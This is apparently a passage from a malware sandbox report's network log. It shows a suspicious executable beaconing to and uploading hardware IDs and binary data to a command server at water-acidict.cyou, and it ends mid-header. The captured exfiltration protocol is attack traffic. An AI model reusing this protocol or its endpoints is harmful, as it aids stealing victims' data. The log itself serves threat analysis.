2024-11-29 22:10:10 UTC	1021	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p7k9v6aiofrpj0lts098knj4cc; expires=Tue, 25-Mar-2025 15:56:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2QDBRvhAsgsbOAo1B%2FwvwbrbypRSyffUi88j7%2BcIErL2m18uTFuYulkUPMEcBLEZjW6d0G4MaFFcldGAmUpBWh7r%2FJDLto%2F4whqxoNvTmCRn%2BKghzpKESQVPN6ohOY73U%2BZO5x0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5ed1a18de727a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2045&min_rtt=2045&rtt_var=1022&sent=7&recv=8&lost=0&retrans=1&sent_bytes=4228&recv_bytes=909&delivery_rate=101069&cwnd=217&unsent_bytes=0&cid=9c4edfc845aff7fb&ts=870&x=0"
2024-11-29 22:10:10 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-29 22:10:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49747	172.67.156.217	443	7984	C:\Users\Public\Netstat\dileapp.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:11 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: water-acidict.cyou
2024-11-29 22:10:11 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 63 32 43 6f 57 30 2d 2d 62 61 6e 64 6c 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=c2CoW0--bandl&j=
2024-11-29 22:10:12 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gm1b74lmrmcue21kc8nc0usao3; expires=Tue, 25-Mar-2025 15:56:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LRhfOeYsiXFmf6iDnPi5zm8FqOj3ZB5YuPrLNxvgUpAR5FsgSwFAopewiYw0wtMHQyi6Hbo5KeXiiBYuFn%2BfFCOD8VfggiNJX9J5XkmzLt75gqPmOdFdSnrUTYmLcP%2FuKsiC0EQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5ed27bda68c83-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1832&min_rtt=1830&rtt_var=690&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=949&delivery_rate=1580942&cwnd=189&unsent_bytes=0&cid=3c2d3e9169e9632e&ts=812&x=0"
2024-11-29 22:10:12 UTC	356	IN	Data Raw: 34 34 38 38 0d 0a 63 4d 58 53 32 34 6e 64 77 43 46 41 50 6d 6a 67 44 47 52 49 44 49 49 66 41 64 76 53 2f 4c 51 53 69 34 46 79 44 46 70 6c 68 45 38 4c 35 36 54 35 73 2b 6e 73 41 7a 4e 62 53 74 70 34 46 6a 31 70 72 6a 31 67 76 2f 44 47 30 6e 50 6e 38 68 63 67 65 42 50 70 62 55 71 6a 73 37 66 36 75 4f 77 44 4a 55 5a 4b 32 6c 63 66 61 6d 6e 73 50 54 76 35 74 35 62 57 63 2b 66 6a 45 32 63 31 46 65 67 73 47 4b 6d 31 73 2b 79 2b 70 45 41 73 55 77 32 46 61 51 55 69 59 75 74 79 61 62 62 77 30 4a 5a 33 38 61 4e 49 4c 68 63 41 38 43 34 39 70 4b 47 77 71 36 44 73 57 6d 4a 62 42 73 49 32 52 69 6c 70 34 48 4e 6e 76 37 6d 55 33 48 72 76 34 68 5a 6d 4b 67 7a 69 4a 78 69 6e 74 72 4c 6d 74 37 42 4e 4a 6c 51 47 67 32 4d 46 61 69 43 67 65 6e 76 35 36 4e 36 46 51 75 72 79 41 Data Ascii: 4488cMXS24ndwCFAPmjgDGRIDIIfAdvS/LQSi4FyDFplhE8L56T5s+nsAzNbStp4Fj1prj1gv/DG0nPn8hcgeBPpbUqjs7f6uOwDJUZK2lcfamnsPTv5t5bWc+fjE2c1FegsGKm1s+y+pEAsUw2FaQUiYutyabbw0JZ38aNILhcA8C49pKGwq6DsWmJbBsI2Rilp4HNnv7mU3Hrv4hZmKgziJxintrLmt7BNJlQGg2MFaiCgenv56N6FQuryA
2024-11-29 22:10:12 UTC	1369	IN	Data Raw: 4a 52 4b 6c 63 42 68 33 77 4e 49 32 50 74 66 57 36 7a 76 35 33 57 64 2b 50 70 48 32 51 38 43 75 73 72 45 71 66 77 39 36 75 34 75 67 4e 36 48 43 6d 48 66 67 45 6d 65 4b 4a 48 49 36 62 2b 68 35 5a 33 35 61 4e 49 4c 6a 41 43 35 53 34 5a 71 4c 4f 78 34 4b 32 69 55 53 52 52 44 35 42 6f 41 79 52 6b 34 32 39 70 74 37 61 64 33 33 76 67 35 68 64 71 65 45 6d 6d 4b 67 72 6e 36 50 6e 4b 73 71 6c 50 4b 45 73 4b 77 6e 46 49 4d 79 37 6e 63 53 50 68 38 4a 72 58 64 4f 6a 6e 48 6d 41 38 43 2b 41 6a 48 36 69 32 73 2b 75 34 71 45 73 71 58 51 65 4a 59 51 59 76 59 2b 52 37 62 37 69 31 33 70 67 77 37 76 74 51 4e 6e 67 70 34 53 34 41 35 59 57 36 35 62 47 6c 56 57 4a 44 52 4a 73 75 41 53 59 75 75 44 31 74 76 4c 2b 4d 31 32 4c 73 37 51 4a 69 50 51 48 72 4c 68 79 6e 74 62 37 6d 73 Data Ascii: JRKlcBh3wNI2PtfW6zv53Wd+PpH2Q8CusrEqfw96u4ugN6HCmHfgEmeKJHI6b+h5Z35aNILjAC5S4ZqLOx4K2iUSRRD5BoAyRk429pt7ad33vg5hdqeEmmKgrn6PnKsqlPKEsKwnFIMy7ncSPh8JrXdOjnHmA8C+AjH6i2s+u4qEsqXQeJYQYvY+R7b7i13pgw7vtQNngp4S4A5YW65bGlVWJDRJsuASYuuD1tvL+M12Ls7QJiPQHrLhyntb7ms
2024-11-29 22:10:12 UTC	1369	IN	Data Raw: 44 52 4a 73 75 41 53 59 75 75 44 31 76 73 4c 43 56 33 48 54 70 35 42 31 72 4f 77 44 6c 49 42 57 74 76 72 37 76 73 36 74 4f 4a 46 77 4e 68 6d 73 55 4c 32 66 73 63 53 50 33 38 4a 6e 4f 4d 4c 47 6a 50 32 6b 75 42 4d 6b 75 41 36 37 77 70 71 57 6d 34 6b 51 75 48 46 4c 43 61 51 4d 69 5a 65 5a 31 59 36 75 31 6b 4e 31 78 34 2b 55 52 59 7a 51 42 35 69 77 53 6f 62 79 35 37 4c 69 77 55 53 64 61 47 49 67 75 53 47 70 70 2b 44 30 37 2b 59 61 4f 77 57 48 2f 6f 53 56 74 4e 67 6e 68 4f 31 4b 34 2f 71 43 72 75 4b 34 44 65 68 77 42 67 6d 49 42 49 6d 6a 6b 64 57 79 32 75 59 7a 58 66 4f 66 78 46 32 34 78 43 65 6b 68 47 36 71 33 74 4f 43 31 72 30 63 6c 58 55 72 4d 4c 67 45 79 4c 72 67 39 56 61 6d 39 6b 76 68 37 35 65 70 51 63 58 59 65 70 69 6f 65 35 2b 6a 35 37 37 4f 71 53 53 Data Ascii: DRJsuASYuuD1vsLCV3HTp5B1rOwDlIBWtvr7vs6tOJFwNhmsUL2fscSP38JnOMLGjP2kuBMkuA67wpqWm4kQuHFLCaQMiZeZ1Y6u1kN1x4+URYzQB5iwSoby57LiwUSdaGIguSGpp+D07+YaOwWH/oSVtNgnhO1K4/qCruK4DehwBgmIBImjkdWy2uYzXfOfxF24xCekhG6q3tOC1r0clXUrMLgEyLrg9Vam9kvh75epQcXYepioe5+j577OqSS
2024-11-29 22:10:12 UTC	1369	IN	Data Raw: 61 67 45 75 61 4f 38 39 4c 66 6d 33 68 70 59 6f 71 63 77 33 57 33 6f 6d 33 47 30 4e 36 61 6e 35 37 4c 50 69 47 32 4a 51 43 59 35 6d 43 53 78 6e 37 48 64 71 73 72 79 56 30 6e 7a 67 35 68 5a 76 50 51 4c 6e 4b 52 36 74 74 72 72 6f 73 4b 31 4d 4b 68 78 45 77 6d 6b 65 61 6a 61 67 57 48 53 79 76 70 69 57 62 36 66 36 55 47 6b 30 52 37 35 74 48 71 36 32 76 2b 36 7a 6f 30 55 71 57 51 4b 47 62 77 41 73 62 65 39 35 5a 72 69 2f 6d 74 70 2b 34 2b 49 52 59 6a 4d 49 37 53 68 53 36 66 43 2b 38 2f 2f 36 41 78 4e 66 48 4a 56 2b 43 6d 70 78 72 6d 51 6a 76 72 7a 65 6a 6a 44 6f 38 52 70 6b 4e 67 4c 70 4b 42 47 6f 74 37 54 74 73 36 68 4b 4b 6c 6f 46 69 33 77 46 4a 6d 44 6e 63 32 2b 33 76 5a 54 56 66 61 6d 74 55 47 6b 67 52 37 35 74 50 71 43 39 6c 2b 43 7a 70 51 4d 39 45 68 50 Data Ascii: agEuaO89Lfm3hpYoqcw3W3om3G0N6an57LPiG2JQCY5mCSxn7HdqsryV0nzg5hZvPQLnKR6ttrrosK1MKhxEwmkeajagWHSyvpiWb6f6UGk0R75tHq62v+6zo0UqWQKGbwAsbe95Zri/mtp+4+IRYjMI7ShS6fC+8//6AxNfHJV+CmpxrmQjvrzejjDo8RpkNgLpKBGot7Tts6hKKloFi3wFJmDnc2+3vZTVfamtUGkgR75tPqC9l+CzpQM9EhP
2024-11-29 22:10:12 UTC	1369	IN	Data Raw: 58 61 67 4a 53 4f 50 74 34 37 47 63 36 76 53 42 6d 30 75 44 4f 73 68 55 72 6a 2b 6f 4b 75 34 72 67 4e 36 48 41 79 4e 5a 77 55 6c 62 2b 6c 78 62 72 79 35 6d 39 64 32 37 65 6b 61 62 6a 34 42 35 79 67 59 70 4c 47 7a 34 72 69 71 52 43 46 4f 53 73 77 75 41 54 49 75 75 44 31 4b 76 71 4b 51 78 6a 44 32 72 51 6b 75 50 77 75 6d 64 56 4b 6a 75 72 62 76 75 4b 35 46 4a 31 6f 48 67 32 45 48 4b 6d 48 6b 64 6d 71 2f 73 5a 50 54 66 65 33 78 47 6d 55 33 43 2b 38 68 48 2b 66 2b 2b 65 79 6e 34 68 74 69 62 51 65 4d 59 41 45 38 4c 76 38 7a 65 76 6d 33 6b 70 59 6f 71 65 49 63 59 54 73 49 35 53 34 54 72 61 4b 72 35 37 61 71 52 69 35 58 42 49 52 38 41 43 56 6e 34 33 35 71 76 72 69 53 33 48 50 75 6f 31 34 75 50 78 2b 6d 64 56 4b 45 70 36 6e 6d 2f 37 30 4e 4f 78 77 4e 6a 69 35 65 Data Ascii: XagJSOPt47Gc6vSBm0uDOshUrj+oKu4rgN6HAyNZwUlb+lxbry5m9d27ekabj4B5ygYpLGz4riqRCFOSswuATIuuD1KvqKQxjD2rQkuPwumdVKjurbvuK5FJ1oHg2EHKmHkdmq/sZPTfe3xGmU3C+8hH+f++eyn4htibQeMYAE8Lv8zevm3kpYoqeIcYTsI5S4TraKr57aqRi5XBIR8ACVn435qvriS3HPuo14uPx+mdVKEp6nm/70NOxwNji5e
2024-11-29 22:10:12 UTC	1369	IN	Data Raw: 68 6c 74 72 2b 58 33 33 54 68 34 42 42 71 50 41 44 6a 4c 68 36 73 74 37 72 6b 75 36 74 4e 4b 31 4e 4b 7a 43 34 42 4d 69 36 34 50 55 4b 69 73 35 4c 62 4d 50 61 74 43 53 34 2f 43 36 5a 31 55 71 75 2b 76 4f 75 31 70 45 63 6e 57 67 43 48 62 67 30 70 59 65 52 37 5a 37 61 77 6c 64 39 78 37 2b 59 61 5a 54 34 4b 35 53 73 55 35 2f 37 35 37 4b 66 69 47 32 4a 38 45 59 39 69 41 57 70 78 72 6d 51 6a 76 72 7a 65 6a 6a 44 69 37 78 52 70 4f 41 72 6c 4a 52 65 6a 75 72 7a 72 74 37 42 4c 49 6c 73 59 6b 47 34 50 4c 32 4c 6a 66 57 65 2f 75 5a 6a 56 64 4b 6d 74 55 47 6b 67 52 37 35 74 50 36 75 33 6b 4f 79 6b 34 6c 78 73 52 55 71 46 59 6b 5a 79 4c 75 46 32 61 62 61 39 6e 64 42 7a 34 75 59 61 62 7a 38 50 36 7a 38 52 71 4c 2b 39 36 37 43 6b 52 53 4e 54 44 49 56 6e 42 79 4a 70 6f Data Ascii: hltr+X33Th4BBqPADjLh6st7rku6tNK1NKzC4BMi64PUKis5LbMPatCS4/C6Z1Uqu+vOu1pEcnWgCHbg0pYeR7Z7awld9x7+YaZT4K5SsU5/757KfiG2J8EY9iAWpxrmQjvrzejjDi7xRpOArlJRejurzrt7BLIlsYkG4PL2LjfWe/uZjVdKmtUGkgR75tP6u3kOyk4lxsRUqFYkZyLuF2aba9ndBz4uYabz8P6z8RqL+967CkRSNTDIVnByJpo
2024-11-29 22:10:12 UTC	1369	IN	Data Raw: 58 69 4e 78 33 2b 65 51 48 59 58 68 4a 70 69 4a 53 2f 34 6e 35 34 72 69 35 55 6a 52 52 47 6f 55 75 4f 57 51 75 2b 44 30 37 2b 59 57 64 32 48 37 75 39 51 45 6a 48 78 48 73 4b 67 4b 67 70 37 61 72 38 65 4a 46 59 67 52 5a 7a 43 34 43 4f 79 36 34 4c 54 48 69 35 63 32 42 49 4c 76 38 58 6e 64 34 45 61 5a 31 51 4f 6e 77 71 36 76 6e 34 67 51 68 54 68 69 45 62 52 41 70 4b 64 35 44 52 4b 4f 39 6d 4d 46 68 31 39 30 58 64 44 55 42 38 54 78 65 73 72 4f 33 35 62 69 30 41 32 77 63 42 63 49 32 50 32 6f 6d 6f 45 49 74 2b 61 6a 65 6a 6a 44 63 34 42 35 67 50 78 48 33 59 44 57 39 76 62 2f 38 72 75 49 4e 59 6c 70 4b 32 6a 35 49 61 6d 72 78 50 54 76 70 34 73 57 44 49 37 36 7a 51 6e 46 32 48 71 59 37 55 76 2f 69 39 36 75 74 34 68 74 69 47 77 6d 51 66 41 41 70 65 4f 4d 36 58 59 Data Ascii: XiNx3+eQHYXhJpiJS/4n54ri5UjRRGoUuOWQu+D07+YWd2H7u9QEjHxHsKgKgp7ar8eJFYgRZzC4COy64LTHi5c2BILv8Xnd4EaZ1QOnwq6vn4gQhThiEbRApKd5DRKO9mMFh190XdDUB8TxesrO35bi0A2wcBcI2P2omoEIt+ajejjDc4B5gPxH3YDW9vb/8ruINYlpK2j5IamrxPTvp4sWDI76zQnF2HqY7Uv/i96ut4htiGwmQfAApeOM6XY
2024-11-29 22:10:12 UTC	1369	IN	Data Raw: 52 65 72 74 48 6d 6b 75 46 71 73 4b 48 4b 43 78 72 2f 75 6f 72 51 4e 73 48 41 7a 43 4e 6c 52 6b 4c 75 52 73 49 2b 48 67 7a 49 30 6c 75 72 52 41 50 43 64 4a 2f 32 30 45 35 2b 6a 72 70 66 2b 77 41 33 6f 63 54 59 46 38 46 43 78 74 39 6e 34 6b 68 34 36 35 32 48 66 6f 39 51 42 35 4e 30 6a 49 47 7a 4f 5a 6a 71 7a 6f 73 61 78 45 4e 45 31 4b 7a 43 34 4a 61 6a 62 5a 50 53 76 35 6a 39 43 57 61 4b 6d 37 55 46 73 37 43 65 67 71 42 4c 62 39 6e 75 57 34 6f 31 55 79 53 77 58 4e 51 44 41 4c 4c 71 34 39 5a 66 6e 6f 7a 4a 67 77 37 66 4a 51 4e 6d 68 56 76 58 68 42 38 4f 44 72 39 50 47 37 41 7a 51 63 55 74 41 67 52 6a 67 75 75 44 30 6b 75 71 4b 4d 30 48 50 2f 34 46 64 51 42 69 44 6f 4b 68 4f 78 6f 4c 54 6e 6e 71 46 53 4b 47 49 30 6c 32 30 49 4a 47 6e 32 62 43 50 33 38 4a 47 Data Ascii: RertHmkuFqsKHKCxr/uorQNsHAzCNlRkLuRsI+HgzI0lurRAPCdJ/20E5+jrpf+wA3ocTYF8FCxt9n4kh4652Hfo9QB5N0jIGzOZjqzosaxENE1KzC4JajbZPSv5j9CWaKm7UFs7CegqBLb9nuW4o1UySwXNQDALLq49ZfnozJgw7fJQNmhVvXhB8ODr9PG7AzQcUtAgRjguuD0kuqKM0HP/4FdQBiDoKhOxoLTnnqFSKGI0l20IJGn2bCP38JG
2024-11-29 22:10:12 UTC	1369	IN	Data Raw: 52 4e 34 4f 30 44 59 45 7a 2b 31 74 36 6e 6f 2f 5a 4e 4f 4a 6b 6f 66 67 58 34 42 46 46 44 4e 62 32 53 70 73 39 7a 36 64 2b 54 76 4c 6c 41 50 46 75 45 39 55 49 47 7a 72 2b 6a 2f 37 41 4d 36 48 46 4c 43 51 78 51 74 66 75 4d 2f 54 37 36 39 6b 70 5a 76 70 2f 70 51 65 48 68 66 74 57 4e 53 74 66 44 68 71 2f 69 68 55 54 42 61 43 5a 52 74 51 52 52 51 7a 57 39 6b 71 62 50 63 35 33 33 74 39 51 56 74 4b 41 44 59 45 7a 2b 31 74 36 6e 6f 2f 59 64 35 59 47 30 63 67 57 34 49 4c 53 36 75 50 58 76 35 36 4e 37 37 59 75 37 7a 45 79 77 64 50 61 51 63 42 4b 53 77 74 2b 7a 2f 37 41 4d 75 48 46 4c 43 59 78 51 74 66 75 4d 78 5a 4b 4f 33 33 73 6b 2b 38 4b 4d 47 4c 6d 42 55 71 47 30 41 35 2b 6a 35 72 4c 47 76 51 69 46 53 43 5a 42 38 41 43 6c 34 34 7a 70 64 68 35 2b 56 31 32 44 6b Data Ascii: RN4O0DYEz+1t6no/ZNOJkofgX4BFFDNb2Sps9z6d+TvLlAPFuE9UIGzr+j/7AM6HFLCQxQtfuM/T769kpZvp/pQeHhftWNStfDhq/ihUTBaCZRtQRRQzW9kqbPc533t9QVtKADYEz+1t6no/Yd5YG0cgW4ILS6uPXv56N77Yu7zEywdPaQcBKSwt+z/7AMuHFLCYxQtfuMxZKO33sk+8KMGLmBUqG0A5+j5rLGvQiFSCZB8ACl44zpdh5+V12Dk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49748	172.67.156.217	443	7984	C:\Users\Public\Netstat\dileapp.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:13 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3H5U00QCDNS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18326 Host: water-acidict.cyou
2024-11-29 22:10:14 UTC	15331	OUT	Data Raw: 2d 2d 33 48 35 55 30 30 51 43 44 4e 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 45 44 38 44 42 30 36 34 37 33 39 45 33 36 32 37 32 34 45 39 32 36 43 45 34 39 35 44 39 46 0d 0a 2d 2d 33 48 35 55 30 30 51 43 44 4e 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 48 35 55 30 30 51 43 44 4e 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 62 61 6e 64 6c 0d 0a 2d 2d 33 48 35 55 30 30 51 43 44 4e 53 0d 0a 43 6f 6e 74 Data Ascii: --3H5U00QCDNSContent-Disposition: form-data; name="hwid"97ED8DB064739E362724E926CE495D9F--3H5U00QCDNSContent-Disposition: form-data; name="pid"2--3H5U00QCDNSContent-Disposition: form-data; name="lid"c2CoW0--bandl--3H5U00QCDNSCont
2024-11-29 22:10:14 UTC	2995	OUT	Data Raw: 4a 3a 3b e2 f5 e9 8b 6e 77 18 74 82 a0 b0 d1 ae 4e 72 af 6c 03 bb ef c0 70 76 68 70 6f b8 ab e0 81 89 d2 ce 70 34 95 3f d4 6e 77 97 74 7a df db 4a ab d9 3a a6 45 b3 54 7c 31 23 5d 55 db 3f 35 ab 59 2f 56 9a f4 45 bb 41 ec 02 5f 8c 47 52 99 43 fc b6 3f 53 d6 79 f9 f3 1a 0e ca ab 93 c8 9f 85 77 5e 16 97 be 18 eb 3d 73 d9 32 ab fe 33 c7 83 ce dc 49 e4 3f b3 1b ea ee a4 d7 a3 91 94 7c 88 af f8 cf ec 5e 94 ce 7e 2c e8 c4 3b 69 fc e7 a5 81 e9 5a 24 9a ba e3 0e 7a b3 b9 ed c8 7b 0f b6 d9 b0 b4 ae ef a3 5d ed c6 1f d3 ef f1 ea c5 f6 b4 94 f4 27 ee 0d 47 53 87 0e f1 bf 6d 76 32 b4 bd 6d a4 37 13 bb cf e9 a5 fc 85 8d f5 95 35 7a c0 7d 85 b5 0d 77 54 d1 d3 26 3b d7 a3 37 ae 53 a3 ed b8 29 da 67 13 8b f5 92 5d 4f 85 8d c2 c5 8d d6 b3 cb d1 7d 8f cf e5 c2 3d f9 0b ab Data Ascii: J:;nwtNrlpvhpop4?nwtzJ:ET\|1#]U?5Y/VEA_GRC?Syw^=s23I?\|^~,;iZ$z{]'GSmv2m75z}wT&;7S)g]O}=
2024-11-29 22:10:15 UTC	1024	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3um6a255thg9j0p9a3fgqlujoe; expires=Tue, 25-Mar-2025 15:56:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NU1mGixbu%2FHYk7guCy%2FApbqKbkPXX%2FAXKuaBWpQ2LUJyYcNBi8xtZXpPNDOcl8ANpAvg%2FYl0kLaFDxQHN1nc2eJ3tofAI1UD1GMc3dQ4j5TqhfiKIILCiBr2K7kgRk9cHA%2BhKI0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5ed369981427f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1761&min_rtt=1759&rtt_var=664&sent=12&recv=21&lost=0&retrans=0&sent_bytes=2844&recv_bytes=19283&delivery_rate=1641371&cwnd=237&unsent_bytes=0&cid=ed81495eefd233c8&ts=1124&x=0"
2024-11-29 22:10:15 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 22:10:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49750	172.67.156.217	443	7984	C:\Users\Public\Netstat\dileapp.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:16 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=F2IXTAQELCJS7CO9O2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8784 Host: water-acidict.cyou
2024-11-29 22:10:16 UTC	8784	OUT	Data Raw: 2d 2d 46 32 49 58 54 41 51 45 4c 43 4a 53 37 43 4f 39 4f 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 45 44 38 44 42 30 36 34 37 33 39 45 33 36 32 37 32 34 45 39 32 36 43 45 34 39 35 44 39 46 0d 0a 2d 2d 46 32 49 58 54 41 51 45 4c 43 4a 53 37 43 4f 39 4f 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 46 32 49 58 54 41 51 45 4c 43 4a 53 37 43 4f 39 4f 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 62 61 6e 64 6c Data Ascii: --F2IXTAQELCJS7CO9O2Content-Disposition: form-data; name="hwid"97ED8DB064739E362724E926CE495D9F--F2IXTAQELCJS7CO9O2Content-Disposition: form-data; name="pid"2--F2IXTAQELCJS7CO9O2Content-Disposition: form-data; name="lid"c2CoW0--bandl
2024-11-29 22:10:17 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uejqqsnbjq3oirj4a14bt7sgr3; expires=Tue, 25-Mar-2025 15:56:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DIQnnOHur%2Fw9nGtRwfJheacCrJsXc15nGWyEyLEX61Sb73c1jtETEdGh37OEHFnODUIcDppDorn7smcVnDumLRkRC4jiaDkCIW9ZC9wH2HSZH0v6hc%2FbICKPDd4eboqkiAqBZVM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5ed45e8964237-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1743&min_rtt=1741&rtt_var=658&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2844&recv_bytes=9725&delivery_rate=1655328&cwnd=194&unsent_bytes=0&cid=21995e130991ab92&ts=977&x=0"
2024-11-29 22:10:17 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 22:10:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49751	172.67.156.217	443	7568	C:\Users\Public\Netstat\dileapp.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:17 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: water-acidict.cyou
2024-11-29 22:10:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-29 22:10:18 UTC	1024	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jfa494mq4kjmri0969nvgr3mno; expires=Tue, 25-Mar-2025 15:56:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RmP1vXIuOk3wCxRPmJBkPBdet3gJsbQ62%2FKUkhMYYX5uQbcWjzfZ9NSat%2Bbper%2F1fy1cXV0SBOFYjrS9QXSkUhjq%2FxV%2Boip5mQRpObNC5Ktqk56DT%2B0XBiaA0melHrmXaxMyb%2Fc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5ed4e881a4401-EWR alt-svc: h3=":443"; ma=86400 server-timing: 